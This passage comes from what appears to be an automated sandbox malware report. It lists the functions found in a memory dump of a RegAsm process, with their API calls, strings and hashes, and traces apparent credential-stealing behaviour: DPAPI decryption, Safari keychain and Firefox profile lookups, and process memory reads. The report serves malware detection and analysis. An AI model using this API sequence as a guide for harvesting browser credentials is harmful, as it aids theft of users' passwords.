                        • Part of subcall function 0040B6EF: wcsrchr.MSVCRT ref: 0040B738
                        • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B756
                        • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B7F5
                        • Part of subcall function 0040B6EF: CreateFileW.KERNEL32(00445FAE,80000000,00000000,00000000,00000003,00000000,00000000,?,?), ref: 0040B80C
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$Filewcslen$AttributesCreatewcscatwcscpywcsrchr
                      • String ID:
                      • API String ID: 1828521557-0
                      • Opcode ID: ea4a949cbb04dc179977b6e9e50e7a1e4e6e0668b18cbdf2d6b9d2270a501428
                      • Instruction ID: 9d1500c39017731ad640c46c84131142cb98d7893e2d711cbdbff08f65233ce4
                      • Opcode Fuzzy Hash: ea4a949cbb04dc179977b6e9e50e7a1e4e6e0668b18cbdf2d6b9d2270a501428
                      • Instruction Fuzzy Hash: 4B1186B294011D7BEB10E751DC4AFDB776CEF51328F10047FB518A50C2E6B8AAC486A9
                      Function 004068BF Relevance: 1.3, APIs: 1, Instructions: 59COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT ref: 0040AFD8
                        • Part of subcall function 004062A6: SetFilePointerEx.KERNEL32(0040627C,?,?,00000000,00000000), ref: 004062C2
                      • memcpy.MSVCRT ref: 00406942
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??2@FilePointermemcpy
                      • String ID:
                      • API String ID: 609303285-0
                      • Opcode ID: cfa0e116d589173c1f74b587a6cbbf9e28bf831d76649fdc759f8710e9f20be5
                      • Instruction ID: a147fa8ec668463fbbadbca9a08a444fcb23aa95a0ceadfc627c4072e562ebd5
                      • Opcode Fuzzy Hash: cfa0e116d589173c1f74b587a6cbbf9e28bf831d76649fdc759f8710e9f20be5
                      • Instruction Fuzzy Hash: 4B11A7B2500108BBDB11A755C840F9F77ADDF85318F16807AF90677281C778AE2687A9
                      Function 00406B90 Relevance: 1.3, APIs: 1, Instructions: 56COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: _wcsicmp
                      • String ID:
                      • API String ID: 2081463915-0
                      • Opcode ID: b978923b786281d4dff967b9753de8351d719aa9e76d1b7e7943c841c1b1a5dc
                      • Instruction ID: 44e68c08f8902dbc9d3bec9e3d7b81d72528a2b8c41660eeece459a1934edfa0
                      • Opcode Fuzzy Hash: b978923b786281d4dff967b9753de8351d719aa9e76d1b7e7943c841c1b1a5dc
                      • Instruction Fuzzy Hash: 0C118CB1600205AFD710DF65C8809AAB7F8FF44314F11843EE55AE7240EB34F9658B68
                      Function 00406214 Relevance: 1.3, APIs: 1, Instructions: 39COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00406294: CloseHandle.KERNEL32(000000FF), ref: 0040629C
                        • Part of subcall function 004096C3: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000,0044509F,00000000,?,00000000,00000104,00445E7E,?,?), ref: 004096D5
                      • GetLastError.KERNEL32(00000000,00000000,0040E03C,?,00000000,00000104,00000000,?,?,?,0040E521,?,0040E6A3,000000FF,?,00000104), ref: 00406281
                        • Part of subcall function 0040A2EF: ReadFile.KERNEL32(00000000,00000000,004450DD,00000000,00000000), ref: 0040A306
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: File$CloseCreateErrorHandleLastRead
                      • String ID:
                      • API String ID: 2136311172-0
                      • Opcode ID: b6bd1096ce10d17f9a7701a6d0a27b928aedeb77931263aba22673ea05e1db24
                      • Instruction ID: 5eec059ee86d0bbb8aaa5289f200f29bbda103cdac5cb86a40c163b72aa3aa4c
                      • Opcode Fuzzy Hash: b6bd1096ce10d17f9a7701a6d0a27b928aedeb77931263aba22673ea05e1db24
                      • Instruction Fuzzy Hash: 3F01D6B14017018FD7206B70CD05BA273D8EF10319F11897EE55BE62D1EB3C9861866E
                      Function 0040AFCF Relevance: 1.3, APIs: 1, Instructions: 12COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0040B04B: ??3@YAXPAX@Z.MSVCRT ref: 0040B052
                      • ??2@YAPAXI@Z.MSVCRT ref: 0040AFD8
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??2@??3@
                      • String ID:
                      • API String ID: 1936579350-0
                      • Opcode ID: c1d2223be94a68f833538aabce888aab0279aa93460cd9bacb51074fa57d6133
                      • Instruction ID: 89dc8af08517091935dcea8fd058adf4401913b4726dbdea6cb301b2924d739e
                      • Opcode Fuzzy Hash: c1d2223be94a68f833538aabce888aab0279aa93460cd9bacb51074fa57d6133
                      • Instruction Fuzzy Hash: 8FC02B7240C2100FD730FF74340205736D4CE422203028C2FE0E4D3101DB3C840103C8

                      Non-executed Functions

                      Function 004098E2 Relevance: 16.6, APIs: 11, Instructions: 59clipboardmemoryfileCOMMON
                      Download Yara Rule
                      APIs
                      • EmptyClipboard.USER32 ref: 004098EC
                        • Part of subcall function 004096C3: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000,0044509F,00000000,?,00000000,00000104,00445E7E,?,?), ref: 004096D5
                      • GetFileSize.KERNEL32(00000000,00000000), ref: 00409909
                      • GlobalAlloc.KERNEL32(00002000,00000002), ref: 0040991A
                      • GlobalFix.KERNEL32(00000000), ref: 00409927
                      • ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 0040993A
                      • GlobalUnWire.KERNEL32(00000000), ref: 0040994C
                      • SetClipboardData.USER32(0000000D,00000000), ref: 00409955
                      • GetLastError.KERNEL32 ref: 0040995D
                      • CloseHandle.KERNEL32(?), ref: 00409969
                      • GetLastError.KERNEL32 ref: 00409974
                      • CloseClipboard.USER32 ref: 0040997D
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ClipboardFileGlobal$CloseErrorLast$AllocCreateDataEmptyHandleReadSizeWire
                      • String ID:
                      • API String ID: 2565263379-0
                      • Opcode ID: 92cf2ad6ca5c713dde206082ad36a5e7808ef459d862ee33826dd65d962f9f86
                      • Instruction ID: b216396755dc4e0bfb1664a9ae46c4c33dbc75b884417c11e98c88a04b476fe2
                      • Opcode Fuzzy Hash: 92cf2ad6ca5c713dde206082ad36a5e7808ef459d862ee33826dd65d962f9f86
                      • Instruction Fuzzy Hash: 3D113D7A540204BBE7105FA6DC4CA9E7B78FB06356F10457AF902E22A1DB748901CB69
                      Function 0040987A Relevance: 12.0, APIs: 8, Instructions: 42clipboardmemoryCOMMON
                      Download Yara Rule
                      APIs
                      • EmptyClipboard.USER32 ref: 00409882
                      • wcslen.MSVCRT ref: 0040988F
                      • GlobalAlloc.KERNEL32(00002000,00000002,?,?,?,?,00411A1E,-00000210), ref: 0040989F
                      • GlobalFix.KERNEL32(00000000), ref: 004098AC
                      • memcpy.MSVCRT ref: 004098B5
                      • GlobalUnWire.KERNEL32(00000000), ref: 004098BE
                      • SetClipboardData.USER32(0000000D,00000000), ref: 004098C7
                      • CloseClipboard.USER32 ref: 004098D7
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ClipboardGlobal$AllocCloseDataEmptyWirememcpywcslen
                      • String ID:
                      • API String ID: 2014503067-0
                      • Opcode ID: ef81b411bc32b98b0d58beac2f1626bda71a649682fb6f24e39e44ffb2f3f244
                      • Instruction ID: b754b6ca90195c8d8a6f67e3e00c953256c5cf8724ac1a445a604cc17dd28da6
                      • Opcode Fuzzy Hash: ef81b411bc32b98b0d58beac2f1626bda71a649682fb6f24e39e44ffb2f3f244
                      • Instruction Fuzzy Hash: 4AF0967B1402246BD2112FA6AC4DD2B772CFB86B56B05013AF90592251DA3448004779
                      Function 004182CE Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69windowCOMMON
                      Download Yara Rule
                      APIs
                      • GetLastError.KERNEL32 ref: 004182D7
                        • Part of subcall function 0041739B: GetVersionExW.KERNEL32(?), ref: 004173BE
                      • FormatMessageW.KERNEL32(00001300,00000000,00000000,00000000,?,00000000,00000000), ref: 004182FE
                      • FormatMessageA.KERNEL32(00001300,00000000,00000000,00000000,?,00000000,00000000), ref: 00418327
                      • LocalFree.KERNEL32(?), ref: 00418342
                      • ??3@YAXPAX@Z.MSVCRT ref: 00418370
                        • Part of subcall function 00417434: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,?,?,756F18FE,?,0041755F,?), ref: 00417452
                        • Part of subcall function 00417434: malloc.MSVCRT ref: 00417459
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: FormatMessage$??3@ByteCharErrorFreeLastLocalMultiVersionWidemalloc
                      • String ID: OsError 0x%x (%u)
                      • API String ID: 403622227-2664311388
                      • Opcode ID: 63f4947bb6e883e354d3d2ebf96ad5df6c46b6e8727c7c07250c00721f9c325d
                      • Instruction ID: 20f22e5b187e4483f2e635e74e626e0383ca95cf640bb4168ff376264581b0c9
                      • Opcode Fuzzy Hash: 63f4947bb6e883e354d3d2ebf96ad5df6c46b6e8727c7c07250c00721f9c325d
                      • Instruction Fuzzy Hash: 6011B634901128FBCB11ABE2DC49CDF7F78FF85B54B10405AF811A2251DB754A81D7A9
                      Function 0041739B Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                      Download Yara Rule
                      APIs
                      • GetVersionExW.KERNEL32(?), ref: 004173BE
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Version
                      • String ID:
                      • API String ID: 1889659487-0
                      • Opcode ID: 65fe17fce0a62211919799e39ce3b7c1e35ae55805528a641db57f2e5b506d3e
                      • Instruction ID: 34334e4c1a53cba42546035453d5331cf18162d9798f59f763323439a3546438
                      • Opcode Fuzzy Hash: 65fe17fce0a62211919799e39ce3b7c1e35ae55805528a641db57f2e5b506d3e
                      • Instruction Fuzzy Hash: BAE0463590131CCFEB24DB34DB0B7C676F5AB08B46F0104F4C20AC2092D3789688CA2A
                      Function 00402279 Relevance: 110.5, APIs: 9, Strings: 54, Instructions: 285COMMON
                      Download Yara Rule
                      APIs
                      • _wcsicmp.MSVCRT ref: 004022A6
                      • _wcsicmp.MSVCRT ref: 004022D7
                      • _wcsicmp.MSVCRT ref: 00402305
                      • _wcsicmp.MSVCRT ref: 00402333
                        • Part of subcall function 0040AA29: wcslen.MSVCRT ref: 0040AA3C
                        • Part of subcall function 0040AA29: memcpy.MSVCRT ref: 0040AA5B
                      • memset.MSVCRT ref: 0040265F
                      • memcpy.MSVCRT ref: 0040269B
                        • Part of subcall function 00404423: FreeLibrary.KERNEL32(00000000,00000141,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404476
                        • Part of subcall function 00404423: CryptUnprotectData.CRYPT32(?,00000000,?,00000000,00000000,?,?,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404498
                      • memcpy.MSVCRT ref: 004026FF
                      • LocalFree.KERNEL32(?,?,?,00000000,?,?,00000000,?), ref: 00402764
                      • FreeLibrary.KERNEL32(00000000,?,?,00000000,?), ref: 00402775
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: _wcsicmp$Freememcpy$Library$CryptDataLocalUnprotectmemsetwcslen
                      • String ID: !$#$$$&$&$'$)$/$0$2$8$=$>$>$@$A$Account$Data$F$H$H$I$K$K$L$O$Path$S$X$\$^$`$a$b$com.apple.Safari$com.apple.WebKit2WebProcess$g$h$n$n$q$server$t$t$t$u$u$w$y$y$z${$}$~
                      • API String ID: 2257402768-1134094380
                      • Opcode ID: 9397f4940cefbe0ceec442a857739dd93941f810d0ac8ce2dbc103f0b42f9f84
                      • Instruction ID: 24bcbd005531c38afe4d7004bd238553ea51a424b60caac2517de9c8923e7683
                      • Opcode Fuzzy Hash: 9397f4940cefbe0ceec442a857739dd93941f810d0ac8ce2dbc103f0b42f9f84
                      • Instruction Fuzzy Hash: 8FE1F32010C7C19DD332D678884978BBFD45BA7328F484B9EF1E89A2D2D7B98509C767
                      Function 0040C87B Relevance: 54.5, APIs: 27, Strings: 4, Instructions: 285stringCOMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: _wcsicmpmemset$_wcsnicmpwcslen$ByteCharMultiWidewcschrwcscpy$memcpystrchrstrlen
                      • String ID: :stringdata$ftp://$http://$https://
                      • API String ID: 2787044678-1921111777
                      • Opcode ID: 5cfdb451540a99f12352c14b787623eda213fcfbf47060a2a7a9031bc80669e4
                      • Instruction ID: 1dd8f84a331a8d1f0195812dc1f06ff326a48265e58e3ad24d859c5fcdf3acb9
                      • Opcode Fuzzy Hash: 5cfdb451540a99f12352c14b787623eda213fcfbf47060a2a7a9031bc80669e4
                      • Instruction Fuzzy Hash: C191C571540219AEEF10EF65DC82EEF776DEF41318F01016AF948B7181EA38ED518BA9
                      Function 00414002 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 265COMMON
                      Download Yara Rule
                      APIs
                      • GetDlgItem.USER32(?,000003E9), ref: 0041402F
                      • GetDlgItem.USER32(?,000003E8), ref: 0041403B
                      • GetWindowLongW.USER32(00000000,000000F0), ref: 0041404A
                      • GetWindowLongW.USER32(?,000000F0), ref: 00414056
                      • GetWindowLongW.USER32(00000000,000000EC), ref: 0041405F
                      • GetWindowLongW.USER32(?,000000EC), ref: 0041406B
                      • GetWindowRect.USER32(00000000,?), ref: 0041407D
                      • GetWindowRect.USER32(?,?), ref: 00414088
                      • MapWindowPoints.USER32(00000000,?,?,00000002), ref: 0041409C
                      • MapWindowPoints.USER32(00000000,?,?,00000002), ref: 004140AA
                      • GetDC.USER32 ref: 004140E3
                      • wcslen.MSVCRT ref: 00414123
                      • GetTextExtentPoint32W.GDI32(?,00000000,00000000,?), ref: 00414134
                      • ReleaseDC.USER32(?,?), ref: 00414181
                      • _snwprintf.MSVCRT ref: 00414244
                      • SetWindowTextW.USER32(?,?), ref: 00414258
                      • SetWindowTextW.USER32(?,00000000), ref: 00414276
                      • GetDlgItem.USER32(?,00000001), ref: 004142AC
                      • GetWindowRect.USER32(00000000,?), ref: 004142BC
                      • MapWindowPoints.USER32(00000000,?,?,00000002), ref: 004142CA
                      • GetClientRect.USER32(?,?), ref: 004142E1
                      • GetWindowRect.USER32(?,?), ref: 004142EB
                      • SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000206), ref: 00414331
                      • GetClientRect.USER32(?,?), ref: 0041433B
                      • SetWindowPos.USER32(?,00000000,?,?,?,?,00000204), ref: 00414373
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Window$Rect$Long$ItemPointsText$Client$ExtentPoint32Release_snwprintfwcslen
                      • String ID: %s:$EDIT$STATIC
                      • API String ID: 2080319088-3046471546
                      • Opcode ID: 4cffa952f3a039c60e8efdb869f217de44d75a47fa5f06f0d0d0713d1b76c38a
                      • Instruction ID: eff71af8639f47ea0b7533f6321954d8b94ad3b67000e3ed03306cc56154d199
                      • Opcode Fuzzy Hash: 4cffa952f3a039c60e8efdb869f217de44d75a47fa5f06f0d0d0713d1b76c38a
                      • Instruction Fuzzy Hash: F8B1DF71108301AFD721DFA9C985E6BBBF9FF88704F004A2DF69582261DB75E9448F16
                      Function 004131DC Relevance: 42.2, APIs: 22, Strings: 2, Instructions: 214windowCOMMON
                      Download Yara Rule
                      APIs
                      • EndDialog.USER32(?,?), ref: 00413221
                      • GetDlgItem.USER32(?,000003EA), ref: 00413239
                      • SendMessageW.USER32(00000000,000000B1,00000000,0000FFFF), ref: 00413257
                      • SendMessageW.USER32(?,00000301,00000000,00000000), ref: 00413263
                      • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 0041326B
                      • memset.MSVCRT ref: 00413292
                      • memset.MSVCRT ref: 004132B4
                      • memset.MSVCRT ref: 004132CD
                      • memset.MSVCRT ref: 004132E1
                      • memset.MSVCRT ref: 004132FB
                      • memset.MSVCRT ref: 00413310
                      • GetCurrentProcess.KERNEL32 ref: 00413318
                      • ReadProcessMemory.KERNEL32(00000000,?,00000080,00000000), ref: 0041333B
                      • ReadProcessMemory.KERNEL32(?,?,00000080,00000000), ref: 0041336D
                      • memset.MSVCRT ref: 004133C0
                      • GetCurrentProcessId.KERNEL32 ref: 004133CE
                      • memcpy.MSVCRT ref: 004133FC
                      • wcscpy.MSVCRT ref: 0041341F
                      • _snwprintf.MSVCRT ref: 0041348E
                      • SetDlgItemTextW.USER32(?,000003EA,?), ref: 004134A6
                      • GetDlgItem.USER32(?,000003EA), ref: 004134B0
                      • SetFocus.USER32(00000000), ref: 004134B7
                      Strings
                      • {Unknown}, xrefs: 004132A6
                      • Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X, xrefs: 00413483
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$Process$ItemMessageSend$CurrentMemoryRead$DialogFocusText_snwprintfmemcpywcscpy
                      • String ID: Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X${Unknown}
                      • API String ID: 4111938811-1819279800
                      • Opcode ID: 97bbb4bd5fc40a2980dfba304632497cbec8fb91d9ab00b7ac9f2109681e0e22
                      • Instruction ID: fb691a4f2f0ee0f23db40d54bf7b3fb7beca904c55697b54c7815e943e903c38
                      • Opcode Fuzzy Hash: 97bbb4bd5fc40a2980dfba304632497cbec8fb91d9ab00b7ac9f2109681e0e22
                      • Instruction Fuzzy Hash: A97182B280021DBFEB219F51DC45EEA3B7CFB08355F0440B6F508A6161DB799E948F69
                      Function 00401198 Relevance: 39.2, APIs: 26, Instructions: 185COMMON
                      Download Yara Rule
                      APIs
                      • GetDlgItem.USER32(?,000003EC), ref: 004011F0
                      • ChildWindowFromPoint.USER32(?,?,?), ref: 00401202
                      • GetDlgItem.USER32(?,000003EE), ref: 00401238
                      • ChildWindowFromPoint.USER32(?,?,?), ref: 00401245
                      • GetDlgItem.USER32(?,000003EC), ref: 00401273
                      • ChildWindowFromPoint.USER32(?,?,?), ref: 00401285
                      • GetModuleHandleW.KERNEL32(00000000,?,?), ref: 0040128E
                      • LoadCursorW.USER32(00000000,00000067), ref: 00401297
                      • SetCursor.USER32(00000000), ref: 0040129E
                      • GetDlgItem.USER32(?,000003EE), ref: 004012BF
                      • ChildWindowFromPoint.USER32(?,?,?), ref: 004012CC
                      • GetDlgItem.USER32(?,000003EC), ref: 004012E6
                      • SetBkMode.GDI32(?,00000001), ref: 004012F2
                      • SetTextColor.GDI32(?,00C00000), ref: 00401300
                      • GetSysColorBrush.USER32(0000000F), ref: 00401308
                      • GetDlgItem.USER32(?,000003EE), ref: 00401329
                      • EndDialog.USER32(?,?), ref: 0040135E
                      • DeleteObject.GDI32(?), ref: 0040136A
                      • GetDlgItem.USER32(?,000003ED), ref: 0040138F
                      • ShowWindow.USER32(00000000), ref: 00401398
                      • GetDlgItem.USER32(?,000003EE), ref: 004013A4
                      • ShowWindow.USER32(00000000), ref: 004013A7
                      • SetDlgItemTextW.USER32(?,000003EE,0045D778), ref: 004013B8
                      • SetWindowTextW.USER32(?,00000000), ref: 004013CA
                      • SetDlgItemTextW.USER32(?,000003EA,?), ref: 004013E2
                      • SetDlgItemTextW.USER32(?,000003EC,?), ref: 004013F3
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Item$Window$Text$ChildFromPoint$ColorCursorShow$BrushDeleteDialogHandleLoadModeModuleObject
                      • String ID:
                      • API String ID: 829165378-0
                      • Opcode ID: 19a332b7149b8c9d9d3d6ff7d6a76f82ec59d5834f8b717de0dd62f1513d673f
                      • Instruction ID: caa3714a391556dce09a7e5fb0b25e31ef738818e6d8753142f97b5ec5ee2caf
                      • Opcode Fuzzy Hash: 19a332b7149b8c9d9d3d6ff7d6a76f82ec59d5834f8b717de0dd62f1513d673f
                      • Instruction Fuzzy Hash: 0051B134500708AFEB32AF61DC85E6E7BB9FB44301F10093AF552A61F1C7B9A991DB19
                      Function 0040414F Relevance: 35.1, APIs: 13, Strings: 7, Instructions: 145COMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 00404172
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                        • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                        • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                        • Part of subcall function 00409B98: GetFileAttributesW.KERNEL32(?,00445E12,?,?,?,00000104), ref: 00409B9C
                      • wcscpy.MSVCRT ref: 004041D6
                      • wcscpy.MSVCRT ref: 004041E7
                      • memset.MSVCRT ref: 00404200
                      • memset.MSVCRT ref: 00404215
                      • _snwprintf.MSVCRT ref: 0040422F
                      • wcscpy.MSVCRT ref: 00404242
                      • memset.MSVCRT ref: 0040426E
                      • memset.MSVCRT ref: 004042CD
                      • memset.MSVCRT ref: 004042E2
                      • _snwprintf.MSVCRT ref: 004042FE
                      • wcscpy.MSVCRT ref: 00404311
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$wcscpy$_snwprintfwcslen$AttributesFilewcscat
                      • String ID: AE$General$IsRelative$Path$Profile%d$profiles.ini$EA
                      • API String ID: 2454223109-1580313836
                      • Opcode ID: 14b0d88d68d2695e792434069e0167c5559d7d25d781ac3d9655dfb0e2d65502
                      • Instruction ID: 5f54f20862f9259acc4f568515dc65a5c395277ecd0331c6beb9e3a358a2eb32
                      • Opcode Fuzzy Hash: 14b0d88d68d2695e792434069e0167c5559d7d25d781ac3d9655dfb0e2d65502
                      • Instruction Fuzzy Hash: 18512FB294012CBADB20EB55DC45ECFB7BCBF55744F0040E6B50CA2142EA795B84CFAA
                      Function 00411346 Relevance: 31.8, APIs: 13, Strings: 5, Instructions: 263windowregistryclipboardCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0040D407: LoadMenuW.USER32(00000000), ref: 0040D40F
                      • SetMenu.USER32(?,00000000), ref: 00411453
                      • SendMessageW.USER32(00000000,00000404,00000001,?), ref: 00411486
                      • GetModuleHandleW.KERNEL32(00000000), ref: 00411495
                      • LoadImageW.USER32(00000000,00000068,00000000,00000000,00000000,00009060), ref: 004114A2
                      • GetModuleHandleW.KERNEL32(00000000), ref: 004114D9
                      • CreateWindowExW.USER32(00000000,SysListView32,00000000,50810809,00000000,00000000,00000190,000000C8,?,00000103,00000000,00000000), ref: 00411500
                      • memcpy.MSVCRT ref: 004115C8
                      • ShowWindow.USER32(?,?), ref: 004115FE
                      • GetFileAttributesW.KERNEL32(0045E078), ref: 0041162F
                      • GetTempPathW.KERNEL32(00000104,0045E078), ref: 0041163F
                      • RegisterClipboardFormatW.USER32(commdlg_FindReplace), ref: 0041167A
                      • SendMessageW.USER32(?,00000404,00000002,?), ref: 004116B4
                      • SendMessageW.USER32(?,0000040B,00001001,00000000), ref: 004116C7
                        • Part of subcall function 00404592: wcslen.MSVCRT ref: 004045AF
                        • Part of subcall function 00404592: SendMessageW.USER32(?,00001061,?,?), ref: 004045D3
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: MessageSend$HandleLoadMenuModuleWindow$AttributesClipboardCreateFileFormatImagePathRegisterShowTempmemcpywcslen
                      • String ID: /nosaveload$SysListView32$commdlg_FindReplace$report.html$xE
                      • API String ID: 4054529287-3175352466
                      • Opcode ID: 80e2c4da556a6dfda94225f517483429c905b521daebd2f44f7cad3fe39d77d4
                      • Instruction ID: 800f7bfcdfcb1fd3e7c20450dd8eb4425a557a8a4e928c852398501c1500280f
                      • Opcode Fuzzy Hash: 80e2c4da556a6dfda94225f517483429c905b521daebd2f44f7cad3fe39d77d4
                      • Instruction Fuzzy Hash: CBA1A271640388AFEB11DF69CC89FCA3FA5AF55304F0404B9FE48AF292C6B59548CB65
                      Function 0041019A Relevance: 28.1, APIs: 10, Strings: 6, Instructions: 122COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: _snwprintf$memset$wcscpy
                      • String ID: bgcolor="%s"$ width="%s"$</font>$<font color="%s">$<table border="1" cellpadding="5"><tr%s>$<th%s>%s%s%s
                      • API String ID: 2000436516-3842416460
                      • Opcode ID: 3adec529592eaa12cbb3371149c11df059df1660bb42a65f2cf1cf9995de4c18
                      • Instruction ID: 0effb7443b15cd0e53e626898d2c9f551e6481245c02f09bcd1282082c9ffe88
                      • Opcode Fuzzy Hash: 3adec529592eaa12cbb3371149c11df059df1660bb42a65f2cf1cf9995de4c18
                      • Instruction Fuzzy Hash: C74163B194021D7AEB20EF55DC46EEB73BCFF45304F0440ABB908A2141E7759B988F66
                      Function 004035AD Relevance: 27.1, APIs: 18, Instructions: 93windowCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0041083A: memset.MSVCRT ref: 0041087D
                        • Part of subcall function 0041083A: memset.MSVCRT ref: 00410892
                        • Part of subcall function 0041083A: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 004108A4
                        • Part of subcall function 0041083A: SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00004001), ref: 004108C2
                        • Part of subcall function 0041083A: SendMessageW.USER32(?,00001003,00000001,?), ref: 004108FF
                        • Part of subcall function 0041083A: SendMessageW.USER32(?,00001003,00000000,?), ref: 00410936
                        • Part of subcall function 0041083A: GetModuleHandleW.KERNEL32(00000000), ref: 00410951
                        • Part of subcall function 0041083A: LoadImageW.USER32(00000000,00000085,00000000,00000010,00000010,00001000), ref: 00410963
                        • Part of subcall function 0041083A: GetModuleHandleW.KERNEL32(00000000), ref: 0041096E
                        • Part of subcall function 0041083A: LoadImageW.USER32(00000000,00000086,00000000,00000010,00000010,00001000), ref: 00410980
                        • Part of subcall function 0041083A: GetSysColor.USER32(0000000F), ref: 00410999
